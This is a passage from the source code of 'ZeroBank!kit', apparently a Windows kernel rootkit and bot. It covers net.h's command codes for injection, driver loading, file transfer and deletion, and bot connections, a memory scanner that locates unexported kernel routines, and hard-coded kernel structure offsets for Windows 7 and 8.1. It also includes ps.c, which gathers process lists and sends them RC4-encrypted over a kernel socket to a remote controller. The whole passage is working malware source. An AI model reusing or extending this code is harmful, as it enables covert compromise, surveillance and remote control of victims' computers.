39 | LIST_ENTRY64 Entry;
40 | #endif
41 | ULONG NumberOfEntries;
42 | }ROOTKIT_MODULES_LIST_HEAD, *PROOTKIT_MODULES_LIST_HEAD;
43 |
44 | PROOTKIT_MODULES_LIST_HEAD g_modules_head;
45 | PROOTKIT_MODULES_LIST_HEAD kernel_get_modules(IN PROOTKIT_API_HASH Hash);
46 | ULONG rk_copy_modules_list_to_buffer(IN PROOTKIT_MODULES_ENTRY Buffer, IN PROOTKIT_API_HASH Hash);
47 | BOOLEAN rk_send_modules_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash);
48 |
49 |
--------------------------------------------------------------------------------
/ZeroBank!kit/net.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #define ZB_INJECT 1
4 | #define ZB_KERNEL_TO_USER_TRANSFER 2
5 | #define ZB_USER_TO_KERNEL_TRANSFER 3
6 | #define ZB_LOAD_DRIVER 4
7 | #define ZB_DISCONNECT 5
8 | #define ZB_EPROCESS 6
9 | #define ZB_ETHREAD 7
10 | #define ZB_MODULES 8
11 | #define ZB_FILE_EXPLORER 9
12 | #define ZB_DELETE_FILE 10
13 | #define ZB_INTERNAL_SYSTEM_INFORMATION 11
14 | #define ZB_START_TDI_FILTER 12
15 | #define ZB_STOP_TDI_FILTER 13
16 | #define ZB_GET_BOT_CONNECTIONS 14
17 | #define ZB_GET_BOT_SEND_REQUESTS 15
18 |
19 |
20 | #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))
21 | #define INETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24))
22 | #define TDISUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
23 |
24 | NTSTATUS NTAPI ZwQueryInformationProcess(
25 | _In_ HANDLE ProcessHandle,
26 | _In_ PROCESSINFOCLASS ProcessInformationClass,
27 | _Out_ PVOID ProcessInformation,
28 | _In_ ULONG ProcessInformationLength,
29 | _Out_opt_ PULONG ReturnLength
30 | );
31 |
32 | // ROOTKIT_BOT_HEADER Basic information
33 |
34 | typedef struct _ZEROBANK_BOT_HEADER
35 | {
36 | CHAR Os[40];
37 | ULONG majorver;
38 | ULONG minorver;
39 | ULONG Build;
40 | CHAR Arch[5];
41 | CHAR BotId[255];
42 | BOOLEAN IsNtServer;
43 | CHAR Locale[255];
44 | CHAR lang[255];
45 | }ZEROBANK_BOT_HEADER, *PZEROBANK_BOT_HEADER;
46 |
47 | // ROOTKIT_PACKET Packet for general purposes
48 |
49 | typedef struct _ZEROBANK_PACKET_TYPE
50 | {
51 | UCHAR PacketType;
52 | UINT32 ProcessId_For_ETHREAD_plugin;
53 | UINT32 ProcessId_For_QueryProcessInformation_Plugin;
54 | CHAR FileName_For_FileExplorer_plugin[255];
55 | CHAR FileName_For_File_Transfer[255];
56 | CHAR FileName_For_File_Deletion[255];
57 | }ZEROBANK_PACKET_TYPE, *PZEROBANK_PACKET_TYPE;
58 |
59 | typedef struct _ZEROBANK_COMMUNICATION_CTX
60 | {
61 | KEVENT Event;
62 | BOOLEAN Stop;
63 | PETHREAD Ethread;
64 | PROOTKIT_API_HASH g_Hash;
65 | PDRIVER_OBJECT pDriverObjectCtx;
66 |
67 | }ZEROBANK_COMMUNICATION_CTX, *PZEROBANK_COMMUNICATION_CTX;
68 |
69 | typedef struct _ZEROBANK_TDI_FILTER
70 | {
71 | KEVENT Event;
72 | BOOLEAN Stop;
73 | PROOTKIT_API_HASH Hash;
74 | PDRIVER_OBJECT pDriverObject;
75 | PETHREAD Ethread;
76 |
77 | }ZEROBANK_TDI_FILTER, *PZEROBANK_TDI_FILTER;
78 |
79 | extern ZEROBANK_COMMUNICATION_CTX Ctx;
80 |
81 | TDI_STATUS tdi_completion_routine(IN PDEVICE_OBJECT deviceobject, IN PIRP Irp, IN PVOID context);
82 | INT send(IN PFILE_OBJECT socket, IN PCHAR data, IN ULONG datasize);
83 | INT recv(IN PFILE_OBJECT socket, IN PCHAR data, IN ULONG datasize);
84 | TDI_STATUS connect(IN PFILE_OBJECT *socket, IN USHORT port,IN ULONG oct1, IN ULONG oct2, IN ULONG oct3, IN ULONG oct4, IN PROOTKIT_API_HASH Hash);
85 | TDI_STATUS bind(IN PHANDLE Handle, IN PFILE_OBJECT *socket, IN PROOTKIT_API_HASH Hash);
86 | TDI_STATUS closesocket(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash);
87 | TDI_STATUS destroy_connection_address(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash);
88 | TDI_STATUS create_address(IN PHANDLE *Handle, IN PFILE_OBJECT *socket, IN PROOTKIT_API_HASH Hash);
89 | TDI_STATUS create_connection(IN PHANDLE Handle, IN PFILE_OBJECT **socket, IN PROOTKIT_API_HASH Hash);
90 | INT tdi_send_crypted(IN PFILE_OBJECT socket, IN INT keytype, IN PVOID Data, IN ULONG Size, OUT PULONG SizeSent OPTIONAL);
91 | INT tdi_recv_decrypted(IN PFILE_OBJECT socket, IN INT keytype, IN PVOID Data, IN ULONG Size, OUT PULONG SizeRecv OPTIONAL);
92 | VOID zerobank_communication_worker_thread(PVOID Context);
93 | NTSTATUS zerobank_init_communication_thread(OUT PZEROBANK_COMMUNICATION_CTX Context);
94 |
95 |
96 |
97 |
--------------------------------------------------------------------------------
/ZeroBank!kit/non_exported_procedures.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 |
4 | /*////////////////////////////////////////////////////////////
5 | // File: non_exported_procedures.c
6 | //
7 | // Non exported routines addresses loaded
8 | // with GetInternalOsFunctionAddressByOffsetAndFunctionName
9 | //
10 | //
11 | */////////////////////////////////////////////////////////////
12 |
13 | IOCREATEFILE IoCreateFileOriginal = NULL;
14 | IOPCREATEFILE MyIopCreateFile = NULL;
15 | OBCLOSEHANDLE ObCloseHandleOriginal = NULL;
16 | OBPCLOSEHANDLE ObpCloseHandle = NULL;
17 |
18 | UINT_PTR GetInternalOsFunctionAddressByOffsetAndFunctionName(
19 | IN PVOID FunctionAddress,
20 | IN PCWSTR FunctionName,
21 | IN UINT8 FirstOffset,
22 | IN UINT8 SecondOffset,
23 | IN OPTIONAL UINT8 ThirdOffset,
24 | IN PROOTKIT_API_HASH Hash)
25 | {
26 | UNICODE_STRING func = { 0 };
27 |
28 | FunctionAddress = NULL;
29 | Hash->_RtlInitUnicodeString(&func, FunctionName);
30 |
31 | FunctionAddress = (PVOID)Hash->_MmGetSystemRoutineAddress(&func);
32 | if (FunctionAddress && Hash->_MmIsAddressValid(&func))
33 | {
34 |
35 | __try
36 | {
37 |
38 | PUINT8 i = NULL;
39 | PUINT8 StartScannerAddress = (PUINT8)FunctionAddress;
40 | PUINT8 EndScannerAddress = StartScannerAddress + 0x500;
41 | UINT8 value1 = 0, value2 = 0, value3 = 0;
42 | #ifndef _WIN64
43 | INT32 offset = 0;
44 | #else
45 | INT64 offset = 0;
46 | #endif _WIN64
47 | for (i = StartScannerAddress; i < EndScannerAddress; ++i)
48 | {
49 | if (ARGUMENT_PRESENT(ThirdOffset))
50 | {
51 |
52 | if (Hash->_MmIsAddressValid(i) && Hash->_MmIsAddressValid(i + 1) && Hash->_MmIsAddressValid(i + 7))
53 | {
54 |
55 | value1 = *i;
56 | value2 = *(i + 1);
57 | value3 = *(i + 7);
58 | if (value1 == FirstOffset && value2 == SecondOffset && value3 == ThirdOffset)
59 | {
60 | kimemcpy(&offset, i + 3, 4);
61 | #ifndef _WIN64
62 | return(UINT_PTR)(offset + (UINT32)i + 5);
63 | #else
64 | return(UINT_PTR)(offset + (UINT64)i + 7);
65 | #endif _WIN64
66 | }
67 |
68 | }
69 | }
70 | else
71 | {
72 |
73 | value1 = *i;
74 | value2 = *(i + 5);
75 | if (value1 == FirstOffset && value2 == SecondOffset)
76 | {
77 | kimemcpy(&offset, i + 1, 4);
78 | #ifndef _WIN64
79 | return(UINT_PTR)(offset + (UINT32)i + 5);
80 | #else
81 | return(UINT_PTR)(offset + (UINT64)i + 5);
82 | #endif _WIN64
83 | }
84 | }
85 | }
86 |
87 | }
88 | __except (EXCEPTION_EXECUTE_HANDLER) {
89 | return GetExceptionCode();
90 | }
91 | }
92 |
93 | return 0;
94 | }
95 |
96 | VOID KiLoadNonExportedRoutines(IN PVOID Context)
97 | {
98 | PROOTKIT_API_HASH Hash = NULL;
99 | Hash = (PROOTKIT_API_HASH)Context;
100 |
101 | __try
102 | {
103 | MyIopCreateFile = (IOPCREATEFILE)GetInternalOsFunctionAddressByOffsetAndFunctionName(IoCreateFileOriginal,
104 | L"IoCreateFile",
105 | g_rootkit_dynamic_data.IopCreateFile_First_Offset,
106 | g_rootkit_dynamic_data.IopCreateFile_Second_Offset,
107 | NULL,
108 | Hash);
109 | if (MyIopCreateFile && Hash->_MmIsAddressValid(MyIopCreateFile))
110 | {
111 | KdPrint(("\r\nIopCreateFile address resolved"));
112 | }
113 |
114 | ObpCloseHandle = (OBPCLOSEHANDLE)GetInternalOsFunctionAddressByOffsetAndFunctionName(ObCloseHandleOriginal,
115 | L"ObCloseHandle",
116 | g_rootkit_dynamic_data.ObpCloseHandle_1_Offset,
117 | g_rootkit_dynamic_data.ObpCloseHandle_2_Offset,
118 | NULL,
119 | Hash);
120 | if (ObpCloseHandle && Hash->_MmIsAddressValid(ObpCloseHandle))
121 | {
122 | KdPrint(("\r\nObpCloseHandle address resolved"));
123 | }
124 | }
125 | __except (EXCEPTION_EXECUTE_HANDLER)
126 | {
127 | return GetExceptionCode();
128 | }
129 |
130 | Hash->_PsTerminateSystemThread(STATUS_SUCCESS);
131 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/non_exported_procedures.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _AUX_ACCESS_DATA {
4 |
5 | PPRIVILEGE_SET PrivilegesUsed;
6 | GENERIC_MAPPING GenericMapping;
7 | ACCESS_MASK AccessesToAudit;
8 | ULONG Reserve; //unknow...
9 |
10 | } AUX_ACCESS_DATA, *PAUX_ACCESS_DATA;
11 |
12 | //
13 |
14 | // Define the local routines used by this driver module.
15 |
16 | //
17 |
18 | NTSTATUS ObCreateObject(
19 | IN KPROCESSOR_MODE ProbeMode,
20 | IN POBJECT_TYPE ObjectType,
21 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
22 | IN KPROCESSOR_MODE OwnershipMode,
23 | IN OUT PVOID ParseContext OPTIONAL,
24 | IN ULONG ObjectBodySize,
25 | IN ULONG PagedPoolCharge,
26 | IN ULONG NonPagedPoolCharge,
27 | OUT PVOID *Object
28 |
29 | );
30 |
31 | NTSTATUS SeCreateAccessState(
32 | IN PACCESS_STATE AccessState,
33 | IN PAUX_ACCESS_DATA AuxData,
34 | IN ACCESS_MASK DesiredAccess,
35 | IN PGENERIC_MAPPING GenericMapping OPTIONAL
36 | );
37 |
38 |
39 | typedef NTKERNELAPI NTSTATUS(*IOCREATEFILE)(
40 | PHANDLE FileHandle,
41 | ACCESS_MASK DesiredAccess,
42 | POBJECT_ATTRIBUTES ObjectAttributes,
43 | PIO_STATUS_BLOCK IoStatusBlock,
44 | PLARGE_INTEGER AllocationSize,
45 | ULONG FileAttributes,
46 | ULONG ShareAccess,
47 | ULONG Disposition,
48 | ULONG CreateOptions,
49 | PVOID EaBuffer,
50 | ULONG EaLength,
51 | CREATE_FILE_TYPE CreateFileType,
52 | PVOID InternalParameters,
53 | ULONG Options
54 | );
55 |
56 | typedef NTKERNELAPI NTSTATUS(*IOPCREATEFILE)(PHANDLE pHandle,
57 | ACCESS_MASK DesiredAccess,
58 | POBJECT_ATTRIBUTES pObjectAttributes,
59 | PIO_STATUS_BLOCK pIoStatusBlock,
60 | PLARGE_INTEGER pAllocationSize,
61 | ULONG FileAttributes,
62 | ULONG ShareAccess,
63 | ULONG Disposition,
64 | ULONG CreateOptions,
65 | PVOID pEaBuffer,
66 | ULONG EaLength,
67 | CREATE_FILE_TYPE CreateFileType,
68 | PVOID pExtraCreateParameters,
69 | ULONG Options,
70 | ULONG Flags,
71 | PVOID pIoDriverCreateContext);
72 |
73 | NTSYSAPI
74 | NTSTATUS
75 | NTAPI
76 | ZwQueryDefaultLocale(
77 | __in BOOLEAN UserProfile,
78 | __out PLCID DefaultLocaleId
79 | );
80 |
81 | NTSYSAPI
82 | NTSTATUS
83 | NTAPI
84 | ZwQueryInstallUILanguage(
85 | __out LANGID *InstallUILanguageId
86 | );
87 |
88 | NTSYSAPI
89 | NTSTATUS
90 | NTAPI
91 | ZwQueryDefaultUILanguage(
92 | __out LANGID *DefaultUILanguageId
93 | );
94 |
95 |
96 | typedef NTKERNELAPI NTSTATUS(*PSTERMINATESYSTEMTHREAD)(NTSTATUS ExitStatus);
97 |
98 | typedef NTKERNELAPI NTSTATUS(*PSPTERMINATETHREADBYPOINTER)(IN PETHREAD Ethread,
99 | IN NTSTATUS ExitStatus,
100 | IN BOOLEAN DirectTerminate);
101 |
102 | typedef NTKERNELAPI NTSTATUS(*OBCLOSEHANDLE)(
103 | HANDLE Handle,
104 | KPROCESSOR_MODE PreviousMode
105 | );
106 |
107 | typedef NTKERNELAPI NTSTATUS(*OBPCLOSEHANDLE)(
108 | HANDLE Handle,
109 | KPROCESSOR_MODE PreviousMode
110 | );
111 |
112 |
113 | extern IOCREATEFILE IoCreateFileOriginal;
114 | extern IOPCREATEFILE MyIopCreateFile;
115 | extern OBCLOSEHANDLE ObCloseHandleOriginal;
116 | extern OBPCLOSEHANDLE ObpCloseHandle;
117 |
118 | UINT_PTR GetInternalOsFunctionAddressByOffsetAndFunctionName(
119 | IN PVOID FunctionAddress,
120 | IN PCWSTR FunctionName,
121 | IN UINT8 FirstOffset,
122 | IN UINT8 SecondOffset,
123 | IN OPTIONAL UINT8 ThirdOffset,
124 | IN PROOTKIT_API_HASH Hash);
125 |
126 | NTSTATUS IopCreateFile(OUT PHANDLE pHandle,
127 | IN ACCESS_MASK DesiredAccess,
128 | IN POBJECT_ATTRIBUTES ObjectAttributes,
129 | IN PIO_STATUS_BLOCK io,
130 | IN PLARGE_INTEGER Alloc,
131 | IN ULONG FileAttributes,
132 | IN ULONG ShareAccess,
133 | IN ULONG Disposition,
134 | IN ULONG CreateOptions,
135 | IN PVOID EABuffer,
136 | IN ULONG EALength,
137 | IN CREATE_FILE_TYPE CreateFileType,
138 | IN PVOID Extras,
139 | IN ULONG Options,
140 | IN ULONG Flags,
141 | IN PVOID CreateCtx);
142 |
143 |
144 | VOID KiLoadNonExportedRoutines(IN PVOID Hash);
145 |
--------------------------------------------------------------------------------
/ZeroBank!kit/offsets.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 |
4 | /*//////////////////////////////////////////////////////
5 | //
6 | // File: rootkit_private_offsets
7 | //
8 | // Goal: Store private dependent OS offsets
9 | //
10 | *///////////////////////////////////////////////////////
11 |
12 |
13 | ROOTKIT_INTERNAL_DYNAMIC_DATA g_rootkit_dynamic_data = { 0 };
14 |
15 |
16 | VOID rootkit_dynamic_data_thread(PVOID Context)
17 | {
18 | ULONG majorversion = 0;
19 | ULONG minorversion = 0;
20 | ULONG build = 0;
21 | PROOTKIT_API_HASH Hash = NULL;
22 |
23 | Hash = (PROOTKIT_API_HASH)Context;
24 |
25 | __try
26 | {
27 |
28 | Hash->_PsGetVersion(&majorversion, &minorversion, &build, NULL);
29 | switch (minorversion)
30 | {
31 | case Windows_7:
32 |
33 | // 32-bit sys
34 | // PROCESS OFFSETS
35 |
36 | g_rootkit_dynamic_data.Pcb = 0x000;
37 | g_rootkit_dynamic_data.ProcessLock_Offset = 0x098;
38 | g_rootkit_dynamic_data.ImageFileName_Offset = 0x16c;
39 | g_rootkit_dynamic_data.CreateTime_Offset = 0x0a0;
40 | g_rootkit_dynamic_data.UniqueProcessId_Offset = 0x0b4;
41 | g_rootkit_dynamic_data.InheritedFromUniqueProcessId_Offset = 0x140;
42 | g_rootkit_dynamic_data.SectionObject_Offset = 0x128;
43 | g_rootkit_dynamic_data.ActiveProcessLinks_Offset = 0x0b8;
44 | g_rootkit_dynamic_data.ProtectedProcess_Offset = 0x26c;
45 | g_rootkit_dynamic_data.ProcessKernelTime_Offset = 0x088;
46 | g_rootkit_dynamic_data.ProcessUserTime_Offset = 0x08c;
47 | g_rootkit_dynamic_data.ObjectTable_Offset = 0x0f4;
48 | g_rootkit_dynamic_data.RundownProtect_Offset = 0x0b0;
49 |
50 | // THREAD OFFSETS
51 |
52 | g_rootkit_dynamic_data.ThreadListHead_Offset = 0x188;
53 | g_rootkit_dynamic_data.ThreadListEntry_Offset = 0x268;
54 | g_rootkit_dynamic_data.StartAddress_Offset = 0x218;
55 | g_rootkit_dynamic_data.CreateTimeThread_Offset = 0x200;
56 | g_rootkit_dynamic_data.ContextSwitches_Offset = 0x064;
57 | g_rootkit_dynamic_data.State_Offset = 0x068;
58 | g_rootkit_dynamic_data.KernelStackResident_Offset = 0x03c;
59 | g_rootkit_dynamic_data.WaitRegister_Offset = 0x038;
60 | g_rootkit_dynamic_data.ThreadUserTime_Offset = 0x1c4;
61 | g_rootkit_dynamic_data.ThreadKernelTime_Offset = 0x198;
62 |
63 | // FUNCTION OFFSETS
64 |
65 | g_rootkit_dynamic_data.IopCreateFile_First_Offset = 0xE8;
66 | g_rootkit_dynamic_data.IopCreateFile_Second_Offset = 0x5D;
67 | g_rootkit_dynamic_data.ObpCloseHandle_1_Offset = 0xE8;
68 | g_rootkit_dynamic_data.ObpCloseHandle_2_Offset = 0x5E;
69 |
70 | // SYSTEM INFORMATION PLUGIN OFFSETS
71 |
72 | g_rootkit_dynamic_data.KeMaximumIncrement = 0x18730;
73 |
74 |
75 | // HANDLE_TABLE
76 |
77 | g_rootkit_dynamic_data.HandleTableList_Offset = 0x010;
78 | g_rootkit_dynamic_data.HandleTableListHead_Offset = 0x89001d08;
79 | g_rootkit_dynamic_data.HandleCount_Offset = 0x030;
80 |
81 |
82 | break;
83 |
84 | case Windows_8:
85 |
86 | break;
87 |
88 | case Windows_81:
89 |
90 |
91 | // FUNCTION OFFSETS
92 |
93 | g_rootkit_dynamic_data.IopCreateFile_First_Offset = 0xE8;
94 | g_rootkit_dynamic_data.IopCreateFile_Second_Offset = 0x5D;
95 | g_rootkit_dynamic_data.ObpCloseHandle_1_Offset = 0xE8;
96 | g_rootkit_dynamic_data.ObpCloseHandle_2_Offset = 0x5E;
97 |
98 | // EPROCESS OFFSETS
99 |
100 |
101 | g_rootkit_dynamic_data.Pcb = 0x000;
102 | g_rootkit_dynamic_data.RundownProtect_Offset = 0x0b0;
103 | g_rootkit_dynamic_data.ProcessLock_Offset = 0x0a0;
104 | g_rootkit_dynamic_data.ActiveProcessLinks_Offset = 0x0b8;
105 | g_rootkit_dynamic_data.ImageFileName_Offset = 0x170;
106 | g_rootkit_dynamic_data.UniqueProcessId_Offset = 0x0b4;
107 | g_rootkit_dynamic_data.InheritedFromUniqueProcessId_Offset = 0x134;
108 | g_rootkit_dynamic_data.SectionObject_Offset = 0x11c;
109 | g_rootkit_dynamic_data.CreateTime_Offset = 0x0a8;
110 | g_rootkit_dynamic_data.ObjectTable_Offset = 0x150;
111 |
112 | // ETHREAD OFFSETS
113 |
114 | g_rootkit_dynamic_data.KernelStackResident_Offset = 0x058;
115 | g_rootkit_dynamic_data.ContextSwitches_Offset = 0x08c;
116 | g_rootkit_dynamic_data.ThreadListEntry_Offset = 0x39c;
117 | g_rootkit_dynamic_data.CreateTimeThread_Offset = 0x338;
118 | g_rootkit_dynamic_data.StartAddress_Offset = 0x350;
119 | g_rootkit_dynamic_data.ThreadListHead_Offset = 0x194;
120 | g_rootkit_dynamic_data.State_Offset = 0x090;
121 | g_rootkit_dynamic_data.WaitRegister_Offset = 0x054;
122 |
123 | // SYSTEM INFORMATION PLUGIN OFFSETS
124 |
125 |
126 | break;
127 |
128 | case Windows_10:
129 |
130 | break;
131 | default:
132 | break;
133 | }
134 |
135 | }
136 | __except (EXCEPTION_EXECUTE_HANDLER)
137 | {
138 | DbgPrint("\r\nCaught exception on dynamic data thread");
139 | }
140 |
141 | Hash->_PsTerminateSystemThread(STATUS_SUCCESS);
142 | }
143 |
144 |
--------------------------------------------------------------------------------
/ZeroBank!kit/offsets.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 |
4 | typedef enum _WINDOWS_VERSION {
5 | Windows_7 = 1,
6 | Windows_8 = 2,
7 | Windows_81 = 3,
8 | Windows_10 = 0
9 | }WINDOWS_VERSION;
10 |
11 | typedef struct _ROOTKIT_INTERNAL_DYNAMIC_DATA
12 | {
13 | WINDOWS_VERSION win_version;
14 |
15 | // EPROCESS OFFSETS
16 |
17 | ULONG_PTR Pcb;
18 | ULONG_PTR ProcessLock_Offset;
19 | ULONG_PTR ImageFileName_Offset;
20 | UINT32 UniqueProcessId_Offset;
21 | UINT32 InheritedFromUniqueProcessId_Offset;
22 | UINT_PTR SectionObject_Offset;
23 | ULONG_PTR CreateTime_Offset;
24 | ULONG_PTR ActiveProcessLinks_Offset;
25 | ULONG_PTR ProtectedProcess_Offset;
26 | ULONG_PTR ProcessUserTime_Offset;
27 | ULONG_PTR ProcessKernelTime_Offset;
28 | ULONG_PTR ObjectTable_Offset;
29 | ULONG_PTR RundownProtect_Offset;
30 | ULONG_PTR Wow64Process_Offset;
31 |
32 | //START OF ETHREAD OFFSETS
33 |
34 | ULONG_PTR ThreadListHead_Offset;
35 | ULONG_PTR ThreadListEntry_Offset;
36 | ULONG_PTR StartAddress_Offset;
37 | ULONG_PTR CreateTimeThread_Offset;
38 | UINT16 ContextSwitches_Offset;
39 | UCHAR State_Offset;
40 | ULONG_PTR KernelStackResident_Offset;
41 | ULONG_PTR WaitRegister_Offset;
42 | UINT32 ThreadUserTime_Offset;
43 | UINT32 ThreadKernelTime_Offset;
44 |
45 |
46 | // START OF INTERNAL OPERATING SYSTEM FUNCTION OFFSETS
47 |
48 | ULONG_PTR IopCreateFile_First_Offset;
49 | ULONG_PTR IopCreateFile_Second_Offset;
50 | ULONG_PTR ObpCloseHandle_1_Offset;
51 | ULONG_PTR ObpCloseHandle_2_Offset;
52 |
53 | // START OF SYSTEM INTERNAL INFORMATION GATHERING PROCESS
54 |
55 | ULONG KeMaximumIncrement;
56 |
57 | // HANDLE TABLE
58 |
59 | ULONG_PTR HandleCount_Offset;
60 | ULONG_PTR HandleTableListHead_Offset;
61 | ULONG_PTR HandleTableList_Offset;
62 |
63 |
64 | }ROOTKIT_INTERNAL_DYNAMIC_DATA, *PROOTKIT_INTERNAL_DYNAMIC_DATA;
65 |
66 | extern ROOTKIT_INTERNAL_DYNAMIC_DATA g_rootkit_dynamic_data;
67 |
68 |
69 | VOID rootkit_dynamic_data_thread(PVOID Context);
70 |
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/ZeroBank!kit/ps.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*///////////////////////////////////////////////////////
4 | //
5 | // File: ps.c
6 | //
7 | // Gather process information
8 | // directly from EPROCESS structure
9 | //
10 | // 1) Get total number of processes and store them in
11 | // a double linked list
12 | // 2) Copy list to previously allocated buffer for
13 | // data extraction
14 | // 3) Send buffer to user-space
15 | */////////////////////////////////////////////////////////
16 |
17 |
18 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_processes(IN PROOTKIT_API_HASH Hash)
19 | {
20 | NTSTATUS st;
21 | ULONG bytes = 0;
22 | CLIENT_ID cid = { 0 };
23 | OBJECT_ATTRIBUTES oa = { 0 };
24 | UNICODE_STRING function = { 0 };
25 | PSYSTEM_PROCESS_INFORMATION sysinfo = NULL;
26 | PVOID buffer = NULL;
27 | HANDLE handle;
28 | PEPROCESS Eprocess = NULL;
29 | PROOTKIT_PROCESS_ENTRY entrybuffer = NULL;
30 | TIME_FIELDS timer = { 0 };
31 | LARGE_INTEGER time = { 0 };
32 | CHAR timebuffer[260] = { 0 };
33 | ULONG i;
34 |
35 | g_process_head = (PROOTKIT_PROCESS_LIST_HEAD)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_PROCESS_LIST_HEAD));
36 | InitializeListHead(&g_process_head->Entry);
37 | g_process_head->NumberOfProcesses = 0;
38 |
39 | __try
40 | {
41 | for (i = 0; i < PAGE_SIZE; i += 4)
42 | {
43 | st = Hash->_PsLookupProcessByProcessId((HANDLE)i, &Eprocess);
44 | if (NT_SUCCESS(st))
45 | {
46 | entrybuffer = (PROOTKIT_PROCESS_ENTRY)Hash->_ExAllocatePool(NonPagedPool, sizeof(ROOTKIT_PROCESS_ENTRY));
47 | memset(entrybuffer, 0, sizeof(ROOTKIT_PROCESS_ENTRY));
48 |
49 | entrybuffer->Eprocess = (ULONG_PTR)Eprocess;
50 | kistrcpy(entrybuffer->ImageFileName, (CHAR*)(ULONG_PTR)Eprocess + g_rootkit_dynamic_data.ImageFileName_Offset);
51 | entrybuffer->pid = *(PUINT32)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.UniqueProcessId_Offset);
52 | entrybuffer->ppid = *(PUINT32)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.InheritedFromUniqueProcessId_Offset);
53 | entrybuffer->IsProcessProtected = (BOOLEAN)Hash->_PsIsProtectedProcess(Eprocess);
54 |
55 | time = *(LARGE_INTEGER*)((ULONG_PTR)Eprocess + g_rootkit_dynamic_data.CreateTime_Offset);
56 | Hash->_RtlTimeToTimeFields(&time, &timer);
57 | Hash->_sprintf_s(entrybuffer->ProcessCreationTime, 260, "%02u/%02u/%04u %02u:%02u:%02u:%03u",
58 | timer.Day, timer.Month, timer.Year, timer.Hour, timer.Minute, timer.Second,
59 | timer.Milliseconds);
60 |
61 |
62 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
63 | InsertTailList(&g_process_head->Entry, &entrybuffer->Entry);
64 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
65 |
66 | g_process_head->NumberOfProcesses++;
67 |
68 | Hash->_ObfDereferenceObject(Eprocess);
69 |
70 |
71 | }
72 | }
73 |
74 |
75 | }
76 | __except (EXCEPTION_EXECUTE_HANDLER)
77 | {
78 | KdPrint(("\r\nException Caught in Process List"));
79 | return GetExceptionCode();
80 | }
81 |
82 | return g_process_head;
83 | }
84 |
85 |
86 | ULONG rk_copy_process_list_to_buffer(IN PROOTKIT_PROCESS_ENTRY Buffer, IN PROOTKIT_API_HASH Hash)
87 | {
88 | PROOTKIT_PROCESS_ENTRY Process = NULL;
89 | ULONG returnedbytes = 0;
90 |
91 | if (g_process_head == NULL)
92 | return 0;
93 |
94 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
95 |
96 | while (!IsListEmpty(&g_process_head->Entry))
97 | {
98 | Process = (PROOTKIT_PROCESS_ENTRY)RemoveTailList(&g_process_head->Entry);
99 | kimemcpy(Buffer, Process, sizeof(ROOTKIT_PROCESS_ENTRY));
100 | Hash->_ExFreePoolWithTag(Process,0);
101 | Buffer++;
102 | returnedbytes++;
103 | }
104 |
105 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
106 |
107 | Hash->_ExFreePoolWithTag(g_process_head,0);
108 | g_process_head = NULL;
109 | return returnedbytes * sizeof(ROOTKIT_PROCESS_ENTRY);
110 | }
111 |
112 | BOOLEAN rk_send_process_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash)
113 | {
114 | ULONG bytes = 0;
115 | ULONG returnedbytes = 0;
116 | INT sendsize = 0;
117 | PROOTKIT_PROCESS_LIST_HEAD processhead = NULL;
118 | PROOTKIT_PROCESS_ENTRY entrybuffer = NULL;
119 | PROOTKIT_PROCESS_ENTRY cryptedbuffer = NULL;
120 | PVOID Buffer = NULL;
121 | PMDL Mdl = NULL;
122 | BOOLEAN g_cond = FALSE;
123 | rc4_ctx ctx = { 0 };
124 |
125 | processhead = kernel_get_processes(Hash);
126 | bytes = processhead->NumberOfProcesses*sizeof(ROOTKIT_PROCESS_ENTRY);
127 |
128 | do
129 | {
130 | sendsize = send(SocketObject, (char*)&bytes, sizeof(ULONG));
131 | if (sendsize > 0)
132 | {
133 | Buffer = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash);
134 | if (Buffer && Hash->_MmIsAddressValid(Buffer) && KiIsMdlAdddressValid(Mdl, Hash) == TRUE)
135 | {
136 | entrybuffer = (PROOTKIT_PROCESS_ENTRY)Buffer;
137 | if (entrybuffer && Hash->_MmIsAddressValid(entrybuffer))
138 | {
139 | returnedbytes = rk_copy_process_list_to_buffer(entrybuffer, Hash);
140 | if (returnedbytes > 0)
141 | {
142 | sendsize = tdi_send_crypted(SocketObject, RC4_KEY_2, (PROOTKIT_PROCESS_ENTRY)entrybuffer, returnedbytes, 0);
143 | if (sendsize > 0)
144 | {
145 | g_cond = TRUE;
146 | goto clean;
147 | }
148 | }
149 | }
150 | }
151 | }
152 |
153 |
154 | } while (FALSE);
155 |
156 | clean:
157 |
158 | KiFreeMappedVirtualMemory(Buffer, 'kbot', Mdl, Hash);
159 | Buffer = NULL;
160 |
161 | return g_cond;
162 | }
163 |
164 |
--------------------------------------------------------------------------------
/ZeroBank!kit/ps.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | #pragma once
4 |
5 | #define PROCESS_QUERY_INFORMATION 0x0400
6 | #define ASSERT_PROCESS(object)
7 |
8 | typedef struct _ROOTKIT_PROCESS_ENTRY {
9 | #ifndef _WIN64
10 | LIST_ENTRY Entry;
11 | #else
12 | LIST_ENTRY64 Entry;
13 | #endif
14 | UINT32 pid;
15 | UINT32 ppid;
16 | ULONG_PTR Eprocess;
17 | CHAR ProcessCreationTime[260];
18 | CHAR ImageFileName[50];
